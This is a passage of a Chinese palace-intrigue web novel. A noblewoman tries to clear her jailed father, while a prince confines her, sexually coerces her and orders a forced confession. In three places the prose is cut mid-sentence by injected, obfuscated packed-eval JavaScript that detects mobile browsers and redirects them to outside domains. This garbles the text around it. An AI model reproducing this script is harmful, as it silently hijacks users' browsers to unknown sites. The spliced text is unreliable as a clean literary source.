她四处奔走，基本将能拜访的人都拜访了个遍。 大多数人持隔岸观火的态度，他们看得明白，江父此番出事并不简单，自是不愿蹚入这滩浑水，却又顾忌到她是侯府女眷，还是会客客气气地待她。不过话说到最后，大致意思也还是帮不上忙这四字。 江葭走投无路，也托了吴氏去问武安侯，得了信后，吴氏亲自来了观澜苑向江葭转达侯爷的意思： “侯爷也是尽力了，无奈这事复杂得很，上头的人皆是讳莫如深，一副不敢说也不愿说的模样。” 末了，又说了一堆宽慰她却无济于事的话，江葭只得收下。 待吴氏前脚刚走，瑞珠立马就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065362|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭了出来。江家出事以来，她看着小姐寝食不安，四处奔走。为了求人，什么样的软话都愿意说，大把大把的钱财也是毫不吝啬地往外头送。可到头来呢？平日同江家交好的人不愿意帮忙，愿意帮忙的人又帮不上忙，当真是走投无路，不知所措。 江葭本在沉思，蓦地听见耳边传来一阵隐忍的哭声，抬眼看她：“你哭什么？” 瑞珠闻言哭得更大声了。 江葭无奈，对她道：“不必哭，天无绝人之路，总是有法子的。只要父亲的罪名尚未被拍板定下，这事便有转机。” 瑞珠从她话中听出了一丝希望，止了眼泪：“小姐如今可有头绪？” “我总觉此事有颇多古怪之处，似是有人故意陷害我父亲所致。” 瑞珠一惊，看向江葭，忙问：“小姐为何如此想？” 江葭摇摇头，她亦说不出个所以然。 彼时她毫无依据，只是直觉如此，两日之后，一封信笺让她基本肯定了心中的猜想。 父亲的好友中有一位刑部的大人，极其好心肠，出事伊始便答应帮她去打探消息，倒是理出了些头绪。 那人说，父亲被押入诏狱的罪名是贪污受贿，还给她指了一条明路，让她去敲登闻鼓，向一位杨姓大人陈情，这事兴许有转机。 江葭捏着那张薄薄的信纸，死死地盯着其上的字眼，从头到尾读了好几遍，半晌，冷笑一声。 她对父亲了解至深，便知他的罪名可以是怠职失职，甚至可以是擅权专断，却断断不可能是贪污受贿。 且不提他为官那处恰恰是个在官场都闻名的清水衙门，一个连学生送来的束脩都不收下的人又怎会轻易接受他人的贿赂。 江葭此刻感到极度地清醒，且愤怒。 既然父亲蒙冤，她便要到那官府去敲那登闻鼓，事已至此，她若还怕事，那便不是她了。 穿上诰命夫人形制的霞帔，戴好缀珠翟五的珠翠冠，江葭坐上了去官府的软轿。 甫一到达官府，江葭便拿起鼓槌，敲起了登闻鼓。半柱香的时间不到，一名衙役匆匆跑了出来，说是要请她入府衙。 江葭冷眼看向面前衙役毕恭毕敬的模样，心下觉得眼下这一幕讽刺得紧。前些日子她也来过官府一趟，正是面前这人出来迎接她。不过许是见她衣着素净，也未打扮，那人便看轻了她几分，连带着语气也颇为不耐。如今见了她这身诰命夫人的打扮，却是大变了态度，早没有先前那番丑陋嘴脸，当真是可笑。 衙役见面前这位夫人冷冷盯视着自己，心下发怵，不敢直视她，低头做了个手势：“夫人，请罢。” 江葭想起此行目的，无声收了眼神，跟着他入了府衙。 见那衙役引着自己往一处厢房走，江葭直接问道：“杨大人何在？” 许是有些怕她，那衙役目光有些许闪躲，恭敬道：“夫人有所不知，您来得不巧，杨大人今儿一早就入宫议事去了，许是再过一个时辰才会回府衙。” 一个时辰，倒也说不上长，只要能为父亲陈情，她自然能接受，遂勉强应下了。 可她等了两个时辰也不见来人，渐渐不耐。 站在一旁的衙役更是苦不堪言。因着这位是武安侯府女眷，他好吃好喝地招待着，既搬来了檀木座椅，又备了茶水糕点，这位却隔一会儿就问自己，杨大人为何还没回官府，可他只得了要将这位留在府衙的吩咐，又如何知晓大人何时回来，两个时辰下来倒是被她折磨得够呛。 就在最后一次得到否定的答复后，江葭望向窗外渐黑的天色，彻底失了耐心，也不顾那衙役拦着自己，径直出了厢房。 正要走出官府大门时，她迎面撞上一顶朱漆雕花的官轿，轿旁跟着数名侍从。 江葭目光在那顶官轿上停留片刻，她经常出入皇宫，便知这顶官轿乃高官规制，再联想起那位杨大人的官位，想必里头坐着的那位便是他了罢。江葭顾不得多想，连忙伸手拦住前行的官轿，那官轿缓缓落了下来。 “里头坐着的可是……” 轿旁侍从径直出声打断了她，目不斜视，只道：“大人坐在轿内，你有何冤情，直接向他陈情便可。” 如此，江葭便明白里头坐着的那位大人不愿下轿，意图就让她在此地陈情。她深吸一口气，不愿意放弃任何一丝希望： “大人，家父是翰林院修撰江奉儒，向来清正廉洁。为官作宰数年，家中算得上是一贫如洗，断断不可能贪污受贿，您派人一探便知。此番牢狱之灾，想是家父受人构害，实属冤屈。俯请大人明察，还他清白！” 她一字一句，恳切有力，跟在官轿旁伺候的侍从亦忍不住抬头看她。 见那厢迟迟没有动静，江葭心下困惑，抬眼看向前方。 轿帷依旧紧闭，没有拉开的迹象。 里头人端坐着，身形未动，不动声色地将手上墨玉扳指往下又转了一圈。 18. 第18章 常喜目光落在主子手上的扳指上，又上移去看他的神色，见他一副敛眸沉思的模样，不知他心中打的是什么主意。 今儿这府衙不是主子自己要来的么？为此他还提前吩咐了人将这江氏留在府衙。眼下要见的人就在面前，坐在轿内不动如山又是何意？ 常喜觉得自己越来越摸不透他的想法了。 心下正想着，蓦地听见他吩咐了句，常喜立刻会意，先行出了官轿，侧身为主子打起轿帷。 在轿外候着的江葭见轿内人迟迟没有动静，心内惴惴不安。 终于等来里头传来声响，先前紧闭的轿帷被人打起，她稍松了一口气。 下一刻，看清先行出轿那人是晋王身边的常喜时，江葭霎时就宛如泥胎木塑，僵在了当处。常喜的出现意味着什么，她实在再清楚不过。 果不其然，他身后紧跟着一道威厉高大的身影。 江葭心下惊骇自是不必多说，连忙僵硬地行了一礼，只道： “妾身无意冲撞了殿下，这就退下。” 说罢，低垂下头，绕过他快步走向仪门。身后并无声响，她鬓边却平白生出冷汗。 就在距离仪门不过一步的距离时，突然有一人挡在她身前，皮笑肉不笑道：“夫人，请回吧。” 见是常喜拦住自己去路，江葭冷冷看向他。常喜跟在主子身边多年，如此冷眼自然算不得什么，依旧低垂着眼，面无波澜，一副她不回去便不罢休的阵仗。 两人在仪门旁僵持了好一会儿。父亲尚在狱中，江葭不愿同他在这儿浪费时间，深吸一口气，先开了口：“人命关天，我今日有急事要找杨大人，与你家主子无干，若是因我而叨扰了他……” “杨大人？”身后骤然传来一声冷笑。 “刑部何时来了一位杨大人，本王竟从未听说过这么一位人物。” 江葭愕然回头。 陈续宗缓步走到她面前，看了她好一会儿，随即淡淡抬手，挥退了身后一众侍从。 “刑部依照律法发了签票，才会派人去捉拿你父亲。” “你方才口口声声说父亲蒙冤，是在质疑我朝律法，还是在质疑旁的？” 当真给她扣了好大一顶帽子。 江葭心中发着冷笑，却也知眼前这人自己轻易得罪不得，不愿惹恼了他，只道：“妾身不敢。” 陈续宗挑眉，并不信她，毕竟她做的一向比说的要大胆许多。 他嗤笑一声：“倒是病急乱投医，连那莫须有的杨大人都轻易相信。就没想过找他人求情？” 那厢沉默了许久。 一旁候着的常喜竖着耳朵听那二人的动静，一颗心都提在了嗓子眼里。 主子此番话已说得这般明显，只消将那薄薄的一层窗户纸捅破，直接问那江氏为何不向他求情。 可江氏依旧同主子拧着，不为所动。眼见主子神色越来越沉冷，常喜也愈发心急。心想这江氏不识趣也就罢了，还跟主子较着劲，怕不是个傻的罢。 陈续宗心头同样冷笑一声。 江父出事以来，她为了求情，同别人说的软话怕是有千句百句了罢，同自己说句软话就这么难？ 就在这时，蓦地听见她开了口： “殿下，妾身的确有求于您。” “求您开恩，允诺妾身入诏狱探望父亲。” 陈续宗皱眉看她。他此厢已将话暗示得如此明白了，眼下她不直接求自己查明此案，绕圈去探那劳什子诏狱又是何意？ 他先是起了疑心，目光在她面上逡巡许久，并未找见丝毫端倪。 江葭又开了口，说得殷切：“妾身只是忧心父亲，绝无旁的企图，您若不放心，可派人跟着妾身。” 陈续宗看了她许久，暂且忍着情绪，允了她的请求。 如此也好，他心想，而后冷眼看着她谢了恩，招手示意常喜上前。 常喜听着吩咐，大致揣测到了主子的想法。饶是再勇武的男人，去了诏狱那种地方走一遭都经受不住，遑论一个养在深门大院里的女人。想必江氏见着那些惨象，甫一出了诏狱便会着急找主子服软。 江葭也不知晋王同下属吩咐了些什么，稍等候一会儿，便来了一驾马车，载着她去往诏狱。 . 江葭还是第一次来诏狱。 晋王身边的人已提前同今日在诏狱当值的官吏打过招呼了，一路自是畅通无阻。 江葭心中清楚，那名跟着她来的侍从走在自己前方，名为引路，实则监视，以防她做些旁的动作。 此处昏暗潮湿，不见天日，越往里处走，那股令人作呕的味道就越浓，亦有些哭喊声，夹着咒骂声，令人闻之心惊。 江葭紧攥了拳，手心出了薄薄的一层汗。 前头引路那人遥遥指了一处，道：“夫人，那处便是。” 话音甫一落下，蓦地听见身后传来干呕声。 那侍从结结实实地吓了一跳，此行出发前，常爷还嘱咐过自己，要把人看好，若是眼前这女人出了三长两短，便要拿他是问。 他忙上前问：“夫人可有大碍？” 江葭蹙眉，极度不适：“我马上要吐了，你出去帮我寻一条帕子来。” 那侍从立马露出些为难之色，脚下却是未动分毫。毕竟常爷千叮万嘱的正是此一点：不能离这女人半步。 似是看清他内心所想，江葭冷笑一声：“怎么，我并非罪犯，你家主子吩咐了你一定要跟紧我？” 侍从心下暗惊，心道上头人说的果真不错。面前这人非但不似外表那般柔弱纯良，反倒跟带了刺儿一般，是个极不好相处的硬茬子。 他愈发坚定主子的意思，不为所动：“夫人实在要吐，便吐地上吧。” 江葭径直拎起自己的裙角：“那你看好了，我这身是诰命夫人的礼服，乃当今圣上亲自赏赐下来的。后日我还需入宫侍疾，若是这衣裙沾上了污秽，让圣上亦或是太后见着了，岂不就是一项御前失仪的罪名。届时你来替我担么？你一个小小的侍从又担待得起么？” “你家主子吩咐你做事，是让你为他排忧解难，而非惹是生非，孰轻孰重可要考虑清楚。” “可……” 不给他辩驳的机会，她蹙眉捧心，一副极度不适，马上要吐的架势。 那侍从看得亦是心惊，实在无奈，只得应下，快步跑了出去。 江葭直起身子，冷眼看着他跑开的背影，转身快步走到他方才指的那处，见到正在阖眼休息的父亲。 饶是她此行出发前已做好了充分的心理准备，见到父亲如今这般模样，仍是险些滚下泪来。她从前是怨过他，恨过他，可血浓于水，眼下父亲正在蒙受牢狱之灾，她做不到漠然以对。 纵是此时心绪杂乱，她也知眼下并非伤怀的时候。那侍从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15079535|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是过了不久就会回来，届时便如何都不方便了。遂强行逼退了眼泪，连着喊了好几声父亲。 江奉儒缓缓醒来，看见面前的女儿，霎时瞪大了眼睛，难掩惊讶。 “你……如何进了诏狱？” 江葭神情微顿，将准备好的那套说辞拿了出来：“女儿求了武安侯，他如今在朝中为官，自是门路多些。” 见父亲还欲问话，她摇摇头，扫了一圈周遭：“这些细枝末节皆不重要，时间紧急，父亲，我今日前来诏狱，只问你一件事。” “翰林院的许大人曾放了一摞账本在你那处，这些账本现在何处？” 江奉儒愣了片刻，他从未想过，原来此案要害竟在这处。可彼时他并未留意此事，加之又过了些日子，他一时记不太清了。 “我得想一会儿。” 江葭原是满怀希冀地看着他，只盼着父亲立即告知自己放在了何处，毕竟这摞账本正是此案的关键，而她也不过前几日方知晓此事。更何况，她费尽心思才能入诏狱来探信息，此番若徒劳而返，岂能甘心？ 见他一时想不起来，江葭难掩焦急，催促道：“父亲快想。” 正这时，由远及近的脚步声从长廊上传到耳边。江葭绷着神经听着，指节泛白，强烈的不安感涌上心头。她抬眼看了眼父亲，见他正凝神回忆，不欲出声打扰他的思绪，强压下不安情绪。 即便那侍从来了，也无妨，她心下安慰自己。届时再同他周旋一会儿，把那人支开，左右那人也算是个好忽悠的。 “那账本我想着无用，遂放在后罩房里了。” 江葭忙追问：“家中后罩房不止一处，究竟……” “……哪一处要卖出去来给您筹钱？” 她方才焦急，险些把剩下半句话问了出来，突见父亲看着她后方神情大变。虽不明情形，还是话音一转，连忙找了句补。 “怎么？你想筹钱把你父亲买出诏狱？” 身后蓦地传来一声冷笑。 江葭突觉头顶有一道惊雷滚过，也不知方才那话让他听去了多少。半晌，僵硬转头，看向身后。 “殿下如何来了？”说这话时，她牙齿都打着颤。 陈续宗没回她的问话，而是负手扫视了一圈周遭，淡淡开口：“不错，本王派来的人都能被你三言两语轻易支走，看来是得好生管教这群奴才了。” 江葭怎听不出他话间的冷嘲热讽，心下暗惊，出声解释：“妾身不过是想同父亲说几句体己话，父女二人许久未见，自然不愿他人在场叨扰。” “哦，是吗？”陈续宗眯了眼在她面上打量一圈，出声反问。 江葭几乎是毫不犹豫：“是，妾身断断不敢对您有所欺瞒。” 陈续宗低头，蓦地笑了声，似是被她气笑的。 这时常喜从长廊上跑了过来：“殿下，严大人已等候您多时，只待您到场，便可审讯要犯。” 陈续宗回头看了江葭一眼，见她低垂着眼，一副温顺的模样，冷冷吩咐：“把她带出去。” 常喜应下。 将人带出诏狱，送上马车，常喜招手示意赶车的阿武过来，吩咐道：“把人看紧了，送回府上去。” 阿武不太明白：“可是武安侯府？” 常喜打了下他的帽沿，一副孺子不可教也的表情看他，长长叹了声气才道： “自然是晋王府。” 19. 第19章 坐在马车上，江葭仍有些心惊胆跳。 她握了握掌心，发觉自己满手的冷汗，顿了瞬，从袖里掏出一条帕子尽数擦了干净。 想起方才遭遇，她叹了口气。今日又如何能料到晋王会突然出现在诏狱内，如此，计划也被那人生生打断了。 不过，虽没等来父亲说明账本的具体位置，到底还是知晓了要去何处找寻。事不宜迟，她心内打定主意，今晚就回家中寻找账本。 头脑中又理了一遍思绪，将接下来要做的一切事情都安排好，她心内略微安定下来。 兀自想着，马车外骤然传来的问好声径直打断了她的思绪。 江葭蹙眉，伸手挑起轿帘的一角，看向外头。眼前建筑雕栏画栋，其庄重气派绝非武安侯府所能比。 既如此，此处又是何地？ 瞥过晋王府三个大字时，江葭直觉从脚底窜起一股寒意，瞬间不寒而栗，恨不能立刻跳下马车，夺路而逃。可此时马车已驶入了王府，一切都晚了。 这个时辰，这个地点，一切让她很难不往最坏处想。 感受着马车渐渐停稳，江葭阖眼，深吸一口气。 轿帷被人打起，来人恭敬道：“夫人，您唤老奴方嬷嬷便可，请出来罢。” 见她僵在当处，并无走下马车的意思，方嬷嬷逐渐沉下脸：“夫人，咱们也是奉主子的意思办事，老奴今儿就把话跟您说明白罢。既入了晋王府，您这厢就别拧着了，这马车您是不想下也得下。殿下回府之前，王府是断断不会放您出去的。” 说罢，招手示意两名粗壮仆妇将她带下来。 见那仆妇当真要冲上来将她缚走，江葭面色愈发惨白，浑身打了个寒颤，蓦地出声：“我自己会走。” 方嬷嬷满意地点了点头，背过身去，心想，眼前这位倒也没有上头人叮嘱得那般难办。 谁知下一刻那看着温温顺顺的小娘子就猛地站起身来，拔下发间簪子对准自己脖颈。 “现在若不放我走，你家主子回府便只能看见横尸一具！若是朝廷命妇在你们王府不明不白地死去，届时追查到你们头上，包括你家主子，谁都别想好过！” 她此举太过突然，方嬷嬷的确被她唬着了片刻。可她到底是王府老人，什么样的大风大浪没见过。 她定定神，脸色彻底沉冷下来，寒声道：“主子早有吩咐，他活要见人，死要见尸。您若有心寻死，他回府也得见着您的尸首。您自个儿再好生衡量一番罢。” 见她闻言愣怔片刻，方嬷嬷眼疾手快，亲自上前夺了她手中发簪。站在一旁的两名仆妇本是看得呆了，见状连忙回过神来，将她缚住送往厢庑。 方嬷嬷示意另外两名仆妇看紧了她，准备转身出门时，凝神思索片刻。 主子嘴上虽说着活要见人死要见尸的话，她到底知晓，若是真让那人寻了短见，自己定当没什么好果子吃。 她越想越是后怕，连忙折回去，拔去她发间所有簪子钗环，以防她寻短见，嘴上还道：“夫人，老奴这厢得罪了。” 即便对方狠狠剜了自己一眼又一眼，方嬷嬷面上丝毫不惧，对另外二人厉声吩咐：“愣着作甚，还不为夫人好生梳洗一番。” 江葭闻言，面上彻底失了血色，眼看又要反抗。身旁的粗壮仆妇这回反应极迅速，合力又把她狠狠按了下去。 方嬷嬷冷眼瞥过她，见那厢终于安分下来，这才略微放下心来，走了出去。 虽说暂且将情形稳住了，想起屋里那人，她面上难掩阴翳之色。想她在贵人身边侍奉多年，从前跟着长公主，如今跟着晋王，见过反骨的，却也没见过这般拧着不从的硬茬子。 如此，怕是有的是苦头吃。她无奈地摇了摇头。 . 月上中天，夜凉如水。 严大人亦步亦趋地跟着晋王出了诏狱，压低声音问道：“殿下，下官有一处不甚明白，方才审讯的那名要犯……具体需要哪个方面的供词呢？” 言下之意是，他们这些逼供的，需要往哪个方向去引导。 陈续宗沉思片刻，缓缓道：“当今圣上最是忌讳皇子结交外臣，本王记得，二皇子对他有知遇之恩。” 严大人心头一凛，忙道明白，不过他脚下未动：“还有一事……翰林院那位可如何是好？” 他这回问的是江奉儒。 陈续宗脚步一顿，只道：“暂且再关他几天。” 严大人应是，目送晋王上了马车，渐渐直起背来。先前他还不太明白晋王的态度，既如此说，他便好拿捏个中分寸了，看来是不必把那人逼得太过。 . 一驾华贵的马车从诏狱驶入晋王府，渐渐停了下来。 陈续宗出了马车，大步迈进院子，目光略过正点着灯的厢庑时，心情颇有些舒畅。 方嬷嬷见主子终于回了府，心下也安定不少，连忙迎上前行礼。 陈续宗微颔了首，取下身上外氅，递给一旁随从，淡声问道：“她可还安分？” 一想起那张倔强的脸，方嬷嬷面上就浮起一阵灰败之色。饶是她自己内心已消解了一会儿，再回想起那人所作所为时，仍感如鲠在喉。 语毕，又是一番长吁短叹：“亏得主子料事如神，先前就吩咐过老奴，若是那人寻死又该当如何，否则依当时的情景，老奴必然也是六神无主的……老奴起初还没太听进您的话，心想，这世上哪有如此不识趣的女人，今儿倒是见识到了。” 陈续宗闻言，倒也不甚意外，只冷笑一声，道了句“的确是个极不识趣的”，随即大步入了厢庑。 门外骤然响起的动静无疑释放了一个极危险的信号。 江葭几乎下意识地就想挣脱束缚，奋力往外跑去，却被身旁二人用力地按着，丝毫动弹不得。 陈续宗缓步走到床榻旁，抬手挥退了两名仆妇，眯了眼在她素白姣美的脸庞上打量一圈，视线再往下移，是玲珑匀称的娇躯，不堪盈盈一握的纤弱细腰，极易让人生出爱怜之意。 他看着她，目光略有幽晦。 江葭此刻被他盯视着，只恨不得自己是个死的。那人的眼神实在太过赤裸直白，就好像要把她身上所着的衣裳都剥除，然后再把自己十余年来的自尊，廉耻都狠狠地践踏在脚下。 坐在这儿被人从头打量到脚，又同物件有何区别。 她心头涌上一股悲愤，正欲起身，下一刻就被人径直推入了床榻。 “镇北侯夫人？朝廷命妇？亦或是忠贞烈妇？本王应该如何称呼你。” 见她伏倒在床上，一副避自己如蛇蝎的模样，陈续宗脸色愈发阴沉：“你可莫要忘了，你如今的身份都是本王给你的，你又凭什么以此去压本王手下的人？” 这话同阿渝那日说过的话何其相像。回忆起当日，它便成了一把刀子，直直向她心口扎去。 “或许是本王待你太有耐心，你才会如此不知好歹。” 江葭猛地意识到什么时，他已解开盘扣，脱了外衣，欺身上了榻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15088087|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她惊慌不已，浑身发颤，哪还顾及仪态形象，连忙支手往床榻深处躲，下一秒却被他拽住脚踝拉了回去。 江葭此时心中绝望自不必多说，连忙按住他撕扯自己衣裳的手，泪珠滚落，径直砸到他手上：“殿下，万万不可，妾身今日正逢小日子。” 陈续宗动作一顿，离了床榻，眯眼俯视着她，似要从她面上寻出破绽：“哦，是吗？” “你性子狡诈，本王可不信你。” 江葭闻言，愣怔片刻。 难不成自己还要同他证明此事？ 不过很快江葭就明白，无需她证明，疑心深重的人自会亲自求证。 他伸手探入自己衣裙下摆的那一瞬间，她几乎是难以置信地瞪大了眼。沿着大腿往上，所过之处激起一阵寒栗。她闭了眼，生生忍受着难堪，身子亦控制不住地发颤。 直到摸到一处凸起，他的手才顿下。她没说谎，那处的确是月事带的位置。 陈续宗收了手，直起身子，冷冷看她一眼，恰好捕捉到她面上的庆幸之色，虽然只有那一瞬间。 “还有几日？” 江葭本在飞速整理自己的衣裙，闻言愣了一瞬，一时没能明白他这句没头没尾的问话。随即抬头，顺着他的眼神看到方才那位置，这才明白他在问什么，瞬间心寒打颤。 简直不是他疯了，就是自己疯了。 陈续宗不耐地又问了声：“本王问你还有几日？” 她颤声道：“七日。” 陈续宗点点头，目光落在身旁桌案上的一支金钗上。那金钗原本插在江葭发间，方才却被方嬷嬷取了下来。 他随手拿起，把玩着道：“你需时刻记住了，本王过去可以给你这一切荣华富贵，自然也可以让你一无所有。哪怕是你不愿意，也需考虑到你的家人。七日之后，应如何做，你可明白？” 江葭愣愣地看着那只金钗，金钗上有一只鸾鸟，振翅欲飞。 她其实很想说不明白，她一点都不明白。 为什么这些权贵便可以枉顾他人意愿，强行施加所谓的恩德？这又同那些仗势欺人，强抢民女的地痞流氓有什么区别。 晋王如此威胁自己，甚至同她一起长大的阿弟也理所应当地将这一切认为是上位者赏赐下来的恩德。 可真的是吗？ 她被无数次地质疑过，而后也反思过自己，可她最后还是很坚定地认为，不是。因为这些人从未问过她想不想，愿不愿意的问题。她如今所拥有的一切都是他们枉顾自己意愿，强行施加而来的。 可是她也是个人啊，她的人生中，她的想法不应该才是最重要的么？ “凭什么不知好歹？” “凭什么屡次三番地拒绝本王？” 不，凭什么的问题分明应该由她来问才是。她很想问问他们，你们凭什么枉顾我的意愿，随意操持我的人生，而且还坏得如此理所应当。 她嗫喏着唇，对上那人冰冷的眼神，质询的话好几次都到了嘴边，即将破口而出，到底是忍了又忍，没能出口。 若是当真说了出来，今儿这一遭能不能离开晋王府都是说不定的。 她深吸一口气，半晌才道了明白二字，这二字却如千钧重，压得她喘不过气来。 陈续宗终究将她放了回去。 浑浑噩噩地回了武安侯府，江葭完全失了力气。 七日。 眼下除了父亲的冤案，她还得好好想想，七日之后当如何脱身。 20. 第20章 翌日一大清早，江葭先回了家中一趟。 父亲并未记错，账本的确在后罩房中。江葭仅仅只是粗略地翻看了一会儿，便发现有好几处被篡改的痕迹，更不用想那栽赃父亲的人暗地里对这账本动了多少处手脚。 紧攥着手中的账本，她此时心绪极为复杂。 既怨愤，也欣慰。 怨愤自然是为父亲蒙冤而忿忿不平，欣慰则是因为最近实在发生了太多糟心事，如今拿到的证据不啻于给当下的她以莫大的鼓励。 父亲入诏狱以来，旁人觑着上头人讳莫如深的态度，隐隐有所察觉，遂冷眼旁观她四处奔走，将她的付出视作蚍蜉撼树，不自量力。也有人说她不信命，要与天斗，与上头的那些权贵斗。如此，想必是要撞了南墙，而且得撞得头破血流才会回头。 而如今，对于江葭而言，手上证据让她连日来的坚持有了回应。噩梦般的日子里，终于得见一缕曙光。 此事不容耽搁，她还需将这账本交由董大人才是。 董大人正是数日前告知她此案要害在于账本之人，得知她带了账本找过来时，不想她行动竟如此迅速，心下惊讶。他同江父是多年好友，此番也是诚心帮忙。 二人不便寒暄，董大人又不敢将账本带回官府，惹人注意，只得将其塞到了停至一旁的马车内。 到了晚间，董大人下值后，回到马车旁才发现，这账本竟不翼而飞了。 此时的账本已被下面人邀功般地献了上去，几经辗转，由常喜呈递到了晋王的书案上。 陈续宗倚靠在梨木交椅上，放下治策，伸手拿起面前的账本，一边皱眉翻了几页，一边听着常喜在旁禀报她昨日的行迹。 话音落下，他沉思半晌，冷嗤一声： “前日晚间方回了侯府，昨日一早就能四处奔走，本王看她身子分明爽利得很。” 一旁的常喜不解，出声问了句：“殿下，您说的是……” 陈续宗抬头，冷冷看他一眼。常喜霎时意识到自己问了不该问的，连忙低下头去，不敢再问。 陈续宗目光又落回到手中账本上：“原是为此去的诏狱。” 常喜自然听得出主子这番语气中暗含愠怒，候在一旁，小心翼翼地道：“亏得殿下在刑部安插的人及时发现，否则若真要让那人捅了上去，倒是会为您平添麻烦。” 说的是添麻烦，而非旁的，是因为常喜根本就不把他们放在眼里。他很清楚，这事即便要被闹到明面上去，根本不需主子出手，下面的人自会时时刻刻揣摩着主子的意思，将其及时扼杀。 现下被呈到书案上的账本便是最好的例子。 常喜冷眼看向那账本，感慨江氏这又是何苦来哉。如此费力奔走，那些个伎俩与心机还不是被主子看得一清二楚。 如此想着，他心内暗叹一声，冷不丁听见主子问道：“江奉儒被押入诏狱有几日了？” “已有十日了。” “十日，倒也足够了。”陈续宗缓缓道。 “她如此煞费苦心，难得求了本王，为的就是这个账本，”他身子前倾，随手将账本扔在桌案上，屈指点了点，示意常喜接过，淡声道，“既如此，便物归原主，还给她罢。” 常喜暗惊，躬身上前接过账本。 “她不是很聪明么，本王倒很好奇，若看到这账本被送还了回去，她是否还能继续硬气下去。” 常喜心头一凛，霎时明白了他的意思，连忙应下。 陈续宗看着他匆匆离去的背影，又想起那女子，眸色深沉难测。 他原本就没想等到七日之后。 眼下江父入狱亦有十日，他授意旁人点拨她一番，让她知晓江父因何入狱，威吓的目的便已达到，这是其一。 其二，他耐心一向不多，若是当真信了她的鬼话，岂不就正正好遂了她的心意。 一想到她提出的七日，陈续宗便想切齿冷笑一番。依他对那人的了解，口上若说是七日，想必实际上连三日都不到。 事实的确如此，甚至比他所料想的还要更短些。 其实那一日本就是最后一日了，正因如此，江葭才会感到分外庆幸。若不是自己正逢小日子，那晚本会发生什么，她完全不敢想象。可庆幸之后，随之而来的是新一轮的恐慌。 毕竟这个由头又能保得她几时？ 将账本交由董大人后，江葭回了侯府，只得大门不出二门不迈，养起了病。即便她心中清楚，装病也并非什么长久之计，却也只得暂且如此，躲避风头。 至于父亲这场冤狱的结果如何，她尚不得知，只能等待。 等待的这段时间里，分外煎熬。父亲的冤屈尚未被洗清，晋王那厢则看似是更为棘手的问题。 每一日睁眼醒来，便意味着离七日之约又近了一日，就像是一把迟早要落下的刀，将落未落，悬于头顶，让她寝食难安。 七日一过，届时将如何应对晋王，她仍旧毫无头绪。 饶是江葭一向自认坚强，从来不愿低头服输，遇着这么一回糟心事，心内的崩溃也远比面上所显露出来的要多出许多。 她支手揉额，正苦恼想着，瑞珠从屋外跑进来道：“小姐，夫人过来了。” 她口中的夫人指的是江母。 江葭早已知晓母亲今日要来侯府，连忙起身相迎。 许久不见母亲，江葭直觉她憔悴了许多，心下暗惊。 倒也难怪，父亲出事以来，母亲成日忧心忡忡，不曾好眠，自然难掩憔悴之色。 江母眼下皱着眉头，满面愁容，紧攥着帕子的手，指尖都在发白。 丈夫骤然出事，儿子又去了西北前线作战，路途遥远，车马又慢，想必事到如今，远在西北的他尚不知晓家中变故。江母内心也清楚，即便儿子知晓此事，对于被关入诏狱的丈夫，兴许也是无能为力。相较之下，如今嫁到高门大院的女儿，反而是她唯一的希望。 思及此，她双腿一屈，径直在女儿面前跪下。 屋内主仆二人皆是大惊。 江葭蹙眉，忙把她扶起：“母亲这是何意？” 江母并未起身，只哭诉道：“杳杳，我知晓你过去对你父亲有怨有恨。可如今他蒙难，那诏狱又是个什么地方，本来就身子骨弱的人又如何能在那儿待着！” “毕竟是血浓于水，母亲今日求你，不论如何都要将你父亲从诏狱中救出来。” 不待江葭开口，瑞珠在一旁急道：“夫人，您起来罢。老爷出事之后，小姐四处奔走，亦是耗尽了心力，不待您说，她都是尽了全力在想法子的。” 江葭叹了声，上前扶起母亲：“阿娘这是何苦？” 江母得了准信，这才愿意起身，被主仆二人搀扶着坐在椅凳上，她拿出帕子，低头擦拭眼泪。 江葭亲自倒了盏茶，递给母亲，坐在她身旁，微抿了唇，问道： “阿娘，你不妨回忆一下，父亲近来可有得罪什么人？” 江母蓦地止住眼泪，抽了口冷气，侧身看她：“你的意思是……你父亲此番牢狱之灾是受人构害？” “也只是猜想罢了。” 江母叹了声，沉思片刻，还是摇了摇头。她不过是个内宅妇人，从不过问丈夫在官场上发生何事。于此间事，自然无从知晓。 不过经女儿这么一点拨，她愈发怀疑起这种可能，霎时觉得委屈不已，捂着心口痛哭：“你父亲为人虽迂腐了些，却向来是个极正直的，如何便惹了他人的眼，生生要遭受这番牢狱之灾！” 江葭只得安慰母亲。 随后很长的一段时间内，母女二人相对无言，各怀心事。 